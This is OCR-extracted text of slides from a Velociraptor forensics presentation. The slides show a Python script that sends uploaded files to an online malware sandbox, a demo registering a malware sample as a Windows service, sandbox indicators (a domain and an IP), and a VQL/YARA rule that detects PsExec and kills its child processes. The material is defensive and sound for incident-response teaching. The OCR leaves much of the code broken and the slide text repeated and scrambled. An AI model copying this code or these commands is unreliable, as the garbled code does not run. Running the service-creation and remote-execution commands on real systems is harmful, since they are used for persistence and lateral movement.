print("%s: Submited %s for %s (%s)" %
row["Timestamp"],
row["ClientId"],

row["UploadName"],
result["submission_1d"]))



def

def

submit_file(filename):

o e gprieyer acere e Eynction to submit file to online sandbox

return (joe.submit_sample(f))

run(config):

creds = grpc.ssl_channel _credentials(
root_certificates=config["ca certificate"].encode("utfg"), .
private_key=config["client private key"].encode("utfg"), Con neCt to VelOC] raptor API
certificate_chain=config["client_cert"].encode("utfg8"))

options = (('grpc.ssl_target_name _override', "VelociraptorServer",),)

with grpc.secure_channel(config["api_connection_string"],
creds, options) as channel:
stub = api_pb2_grpc.APIStub(channel)
request = api_pb2.vQLCollectorArgs(
Query=[ap1i_pb2.VQLRequest
VQL-“““SELECT CllentId Timestamp, Uplo ﬂName

s 2l )\
FR S _'n.un\_\r.:u-. W s mALIEy MV b J

FROII watch monltorlng(artlfact-'System Upload.Completion')""", Monitors files uploaded to Server

for response 1in stub.Query(request):
for row 1n json.loads(response.Response):
for path in row["Path"]:
result = submit_file(path)
print("%s: Submited %s for %s (%s)" % |
row["Timestamp"],
row["clientid"],

row["UploadName"]
result["subm1551on_1d"]))

) 1)



def submit_file(filename):

o e gprieyer acere e Eynction to submit file to online sandbox

return (joe.submit_sample(f))

def run(config):
creds = grpc.ssl_channel _credentials(
root_certificates=config["ca certificate"].encode("utfg"), .
private_key=config["client private key"].encode("utfg"), Con neCt to velOC] raptor API
certificate_chain=config["client_cert"].encode("utfg8"))
options = (('grpc.ssl_target_name override', "VelociraptorServer",),)

with grpc.secure_channel(config["api_connection_string"],
creds, options) as channel:
stub = api_pb2_grpc.APIStub(channel)
request = api_pb2.vQLCollectorArgs(
Query=[ap1i_pb2.VQLRequest
VQL="""SELECT ClientId, Timestamp, UploafiName,
4 " /! 2l =L\ a -~ a2l

NPT

FROIIL\:/\.;;};:rh;r;;;;';lm%az:c’:";;/'sltem.Upload.Completlon‘)""", MOnitorS files uploaded to Server

) 1)

for response 1in stub.Query(request):
for row 1n json.loads(response.Response):
for path in row["Path"]:
result = submit_file(path) . . "
(e sumited s o e 00+ O SUbmIt each uploaded file to online sandbbox
row["ClientId"],

row["UploadName"],
result["submission_1d"]))
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F:\bin\malware>sc create fake binpath="f:\bin\malware\printsrv32.exe"
[SC] CreateService SUCCESS

® o0 000000
o L]

0.00.0.0..0...00..OOQQOODOQQQOOQQQ..O
o

® O 0. 0. 0. 0.0 0. 0000000009505 0000

¢ 6000
vv\,uv\./u&..\a\-/u\.t
\ ® 0000 A

&

<}



F:\bin\malware>sc create fake binpath="f:\bin\malware\printsrv32.exe"
[SC] CreateService SUCCESS

“(Dev3) 130 mic@evBox:-/projects/joe sandbox$ python submitter.py
1564080817: Submited C.55bfdb9f660d1172 for f:\bin\malware\printsrv32.exe (1053242)

&

<}



Behavior Graph
ID: 922356
Sample: printsrv32.exe
Startdate: 25/07/2019

Architecture:  WINDOWS
Score: 48

Drops executables to
started

m printsrv32.exe ....

G uit W

brb.3dtuts.by (‘9
185.84.108.232, 49224, 49225, 49226
unknown

dropped dropped

Russian Federation™

SUSPICIOUS
CLEAN

UNKNOWN

started

printsrv32.exe

dropped

n\malware>sc create fake binpath="f:\bin\malware\printsrv32.exe"
i E

Event triggers the action

S-python submitter.py
dbof660d1172 for f:\bin\malware\printsrv32.exe (1053242)

Which submits the
executable



Tura monttoring tnto responding




Scenarto: Block PsExec remoting
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wide nocase ascii:
psexec yaraRule )

Server.Alerts.PsExec

| Windows.Detection.PsexecService I Source
vinaows.betection.rsexecservice.Kli
LET file scan = SELECT Name AS ServiceName,
PathName, File.ModTime AS Modified,
File.Size AS FileSize,

1

2

3

- String.0ffset AS StringOffset,

5 String.HexData AS StringContext,
6

7

8

now() AS Timestamp,
ServiceType, PID,
{

9 SELECT Name, ExecutablePath, CommandLine
10 FROM pslist() WHERE ParentProcessID = PID
11 LIMIT 2
12 } AS ChildProcess
13 FROM yara(rules=yaraRule, files=PathName)

14 WHERE Rule

15 LET service creation = SELECT Parse,

16 Parse.TargetInstance.Name AS Name,

17 Parse.TargetInstance.PathName As PathName,

18 Parse.TargetInstance.ServiceType As ServiceType,
19 Parse.TargetInstance.ProcessId AS PID

20 FROM wmi events(

21 SELECT * FROM InstanceCreationEvent WITHIN 1 WHERE TargetInstance ISA
22

23 namespace="RO0OT/CIMV2")

24 SELECT * FROM foreach(

25 row=service creation,

26 query=file scan)

27

28
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wide nocase ascii:
psexec yaraRule

Server.Alerts.PsExec

| Windows.Detection.PsexecService I Source
vinaows.betection.rsexecservice.Kli
1 LET file scan = SELECT Name AS ServiceName,
2 PathName, File.ModTime AS Modified,
3 File.Size AS FileSize,
< String.0ffset AS StringOffset,

tringContext,

Windows.Detection.PsexedService.Kill

Type: client event

- ) ) ) ) ) ) ) cutablePath, CommandLine
Psexec can launch a service remotely. This artifact impler§ents a client side response plan whereby all the child processes :Rg parentProcessID = PID
of the service are killed.

NOTE: There is an inherent race between detection and re§ponse. If the psexec is very quick we will miss it. Files=PathName)

Parameters XCT Parse,

ime AS Name,

ithName As PathName,
arviceType As ServiceType,
rocessId AS PID

Name Default

yaraRule wide nocase ascii: psexef i
[nstanceCreationEvent WITHIN 1 WHERE TargetInstance ISA

Source

1 SELECT * FROM foreach(

2 row={ SELECT * FROM Artifact.Windows.Detection.PsexecService() }.
3 query={

4 SELECT ServiceName, PathName, Modified, FileSize, Timestamp,

5 ServiceType, ChildProcess, Stdout, Stderr FROM execve(
6 argv=["taskkili*, "/PID*, PID, "/T", "/F"])
7 1)
8

9

© Velocidex Enterprises 2019 /




psexec yaraRule wide nocase ascii:

Server.Alerts.PsExec

Windows.Detection.P Servi .
e F:\>bin\PsExec.exe -r foobar -s "cmd.exe" /c sleep 60
vinaows.Detection.rFsexecservice.Ki

PsExec v2.2 - Execute processes remotely
Copyright (C) 2001-2016 Mark Russinovich
Sysinternals - www.sysinternals.com

Windows.Detection

Type: client_event

Psexec can launch a service remotely.
of the service are killed.

R e -] . exe exited on TESTCOMPUTER with error code 1.
Parameters ToT

ime AS Name,

ithName As PathName,
arviceType As ServiceType,
rocessId AS PID

Name Default

yaraRuIe wide nocase ascii: ) ) ) -
[nstanceCreationEvent WITHIN 1 WHERE TargetInstance ISA *Win32 Service'",

Source

1 SELECT * FROM foreach(

2 row={ SELECT * FROM Artifact.Windows.Detection.PsexecService() },
3 query={

4 SELECT ServiceName, PathName, Modified, FileSize, Timestamp,

5 ServiceType, ChildProcess, Stdout, Stderr FROM execve(
argv=["taskkili*, "/PID", PID, "/T", "/F"])

© Velocidex Enterprises 2019 /




psexec yaraRule wide nocase ascii:

Server.Alerts.PsExec

Windows.Detection.P S i .
o e e F:\>bin\PsExec.exe -r foobar -s "cmd.exe" /c sleep 60

vinaows.Deteclion.Fsexecservice.Kl

PsExec v2.2 - Execute processes remotely
Copyright (C) 2001-2016 Mark Russinovich

Windows.Detectionp :
Sysinternals - www.sysinternals.com

Type: client_event

Psexec can launch a service remotely.
of the service are killed.

R e -] . exe exited on TESTCOMPUTER with error code 1.
Parameters ToT

ime AS Name,

ithName As PathName,
arviceType As ServiceType,
rocessId AS PID

Name Default

yaraRuIe wide nocase ascii: ) ) )
[nstanceCreationEvent WITHIN 1 WHERE TargetInstance ISA ")

Source

1 SELECT * FROM foreach(

2 row={ SELECT * FROM Artifact.Windows.Detection.PsexecService() },
3 query={

4 SELECT ServiceName, PathName, Modified, FileSize, Timestamp,

5 ServiceType, ChildProcess, Stdout, Stderr FROM execve(
argv=["taskkili*, "/PID", PID, "/T", "/F"])

Note: this is a
race condition w
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So, what do you want to find?
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Where to from here?

Velociraptor is a work in progress - please be
patient

* Our development roadmap includes:
Sysmon integration

Better presentation of results o
Improving the user interface
Expanding the artefact library
Further documentation

More artefact parsers

* A true kernel driver for Windows

© Velocidex Enterprises 2019 /
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Where to from here?

Velociraptor is a work in progress - please be
patient

* Our development roadmap includes:
Sysmon integration
Better presentation of results

Improving the user interface
Expanding the artefact library
 Further documentation

* More artefact parsers

e A true kernel driver for Windows
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Where can you stort?

e Visit www.velocidex.com: for
links to docs and downloads

 Download the latest release
« RTFM &

* Setup a test deployment
* Send us your ideas and input
» Contribute back to the project
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Nick Klein
Director, Velocidex Enterprises
nick@velocidex.com

Director, Klein & Co.
nick@kleinco.com.au

SANS DFIR Certified Instructor

Mike Cohen
Director, Velocidex Enterprises
mike®velocidex.com




